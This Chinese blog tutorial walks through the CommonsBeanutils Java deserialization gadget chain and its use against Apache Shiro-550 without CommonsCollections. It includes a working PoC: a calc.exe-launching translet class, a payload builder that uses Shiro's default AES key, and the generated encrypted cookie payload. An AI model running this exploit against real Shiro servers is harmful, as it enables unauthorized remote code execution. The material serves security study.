[Java反序列化]CommonsBeanutils链与Shiro with noCC

TemplatesImpl

cb链应该从TemplatesImpl讲起。
用TemplatesImpl类能读取字节码并运行。在p神的《Java安全漫谈》中学习到的TemplatesImpl利用链是这样的。

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

简单来过一遍流程。实际上从getOutputProperties和newTransformer都可以作为该链的入口。他们都是public的可以被外部调用。但是cb1链中用到了bean的getter的特性,来调用getXX方法,于是连接上了getOutputProperties方法。所以我们从getOutputProperties开始讲。
这个方法其实非常简单,进入后直接调用newTransformer。
getOutputProperties

在newTransformer中调用到getTransletInstance。
在这里插入图片描述

然后就到重点了,在getTransletInstance中,在下图第一步首先会对_name检验是否为null,若为null则直接返回,不执行后面的语句,所以我们必须控制_name不为空。
在这里插入图片描述

第二步如果_class为空进入defineTransletClasses,在该方法中我们调用defineClass加载了字节码。在下图的第一个小红框中判断字节码是否为空,我们利用时肯定不会让他为空,毕竟装载恶意代码。在第二个小红框中使用defineClass读取字节码。
在这里插入图片描述

而第三个小红框获取到字节码的父类判断是否为AbstractTranslet类,若是则顺利讲该字节码的类放入this._class中。
在这里插入图片描述

下图是TransletClassLoader,读取字节码和实例化都是用的该类。
TransletClassLoader

defineTransletClasses返回后,回到getTransletInstance,此时_class放入了我们的恶意类。然后就到了图三中的第三个小红框_class[_transletIndex]就是我们从字节码读取的恶意类通过getConstructor()取出构造器来实例化,此时就成功执行恶意类中的代码了。

commons-beanutils

bean是一种符合某种标准的类,对于所有属性都有setter和getter。commonsbeanutils中的PropertyUtils类专门用来处理bean的属性。PropertyUtils的getProperty函数来调用getter。例如

PropertyUtils.getProperty(o, "abc");

就会调用o对象的getAbc函数。通过这个静态函数可以调用到TemplatesImpl的getOutputProperties函数,从而连接上前面介绍的利用链,只需要我们制定o为我们设计好的TemplatesImpl,第二个参数为“outputProperties”。但这并不能作为反序列化真正的入口点,我们找到调用它的地方, commons-beanutils中有BeanComparator类,在compare方法中调用传入两个对象的getter取出属性并通过成员的比较器进行对比。
在这里插入图片描述

所以只要调用BeanComparator的compare方法就可以进入后面的调用链了。找到优先队列PriorityQueue这个类,这个类在java.util中,也是普遍使用的。简单地说,该类在反序列化的时候,会检查队列元素是否符合优先队列的次序,所以会调用到compare,而成员变量的comparator我们可以放入BeanComparator。
在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

至此,cb1链就完整了。调用链如下:

PriorityQueue#readObject() -> PriorityQueue#heapify() ->PriorityQueue#siftDown() ->
PriorityQueue#siftDownUsingComparator() -> BeanComparator#compare() ->
PropertyUtils#getProperty() -> TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

shiro无cc链

面对shiro550反序列化漏洞的利用可以不通过cc链进行RCE,运行了shiro服务的程序不一定使用CommonsCollections组件,但一定自带了Commons Beanutils,所以我们可以使用上述的cb链,但需要修改一下。我们在调用BeanComparator的无参构造方法时,会自行将comparator设置为ComparableComparator的实例,而ComparableComparator是CommonsCollections的类,所以为了避免使用到CommonsCollections的类,我们需要自己设置一个comparator。
在这里插入图片描述

这个comparator应该符合要求

  1. 实现了java.io.Serializable接口允许我们用来序列化和反序列化
  2. 继承了Comparator接口,才可以设置进去。
  3. 通用性比较好
    p神给出了一个答案。String类的内部类CaseInsensitiveComparator
    在这里插入图片描述

我们可以通过调用String.CASE_INSENSITIVE_ORDER来获取这个类的静态实例。
在这里插入图片描述

poc

evil.java

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evil extends AbstractTranslet {
    public evil() throws IOException {
        super();
        Runtime.getRuntime().exec("calc.exe");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

构造攻击shiro的数据


import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.String;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import java.util.PriorityQueue;
import static ysoserial.payloads.util.Reflections.setFieldValue;

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code = clazz.toBytecode();
TemplatesImpl ti =new TemplatesImpl();
setFieldValue(ti,"_bytecodes",new byte[][]{code});
setFieldValue(ti, "_name", "eval");
final BeanComparator bc = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> pq = new PriorityQueue<Object>(2,bc);
pq.add("1");
pq.add("1");
setFieldValue(bc,"property","outputProperties");
setFieldValue(pq,"queue",new Object[]{ti,ti});
byte[] raw_payload = Serializer.serialize(pq);
String SECRET_KEY = "kPH+bIxk5D2deZiIxcaaaA==";
AesCipherService cipherService = new AesCipherService();
cipherService.setKeySize(128); // AES-128
byte[] encryptedBytes = cipherService.encrypt(raw_payload,  Base64.decode(SECRET_KEY)).getBytes();
String payload = Base64.encodeToString(encryptedBytes);
System.out.println(payload);

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

成功弹计算器!
在这里插入图片描述

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cgxx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值